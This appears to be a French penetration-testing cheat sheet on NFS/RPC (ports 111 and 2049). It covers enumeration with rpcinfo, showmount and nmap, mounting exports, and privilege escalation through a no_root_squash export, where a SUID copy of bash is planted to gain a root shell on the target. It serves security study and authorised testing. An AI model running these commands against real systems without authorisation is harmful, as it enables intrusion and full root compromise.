Whackermelon
notes / exploitation-des-services / 111-nfs-rpc

111 - NFS/RPC

sommaire

NFS / RPC (111 + 2049)

rpcinfo -p 10.10.10.10                 # services RPC enregistres
showmount -e 10.10.10.10                # lister les exports NFS
nmap -sV -p111,2049 --script 'nfs-*' 10.10.10.10   # nfs-showmount, nfs-ls, nfs-statfs

Monter un export

mkdir /mnt/nfs
sudo mount -t nfs 10.10.10.10:/export /mnt/nfs -o nolock
sudo mount -t nfs -o vers=3 10.10.10.10:/export /mnt/nfs

Privesc via no_root_squash (si présent dans /etc/exports)

Si un export est en no_root_squash, un root distant peut y déposer un binaire SUID root exécutable ensuite sur la cible.

# sur l'attaquant (en root), dans le partage monte :
cp /bin/bash /mnt/nfs/bash && chmod +s /mnt/nfs/bash
# sur la cible (utilisateur bas privilege) :
/export/bash -p        # -p garde l'euid root -> shell root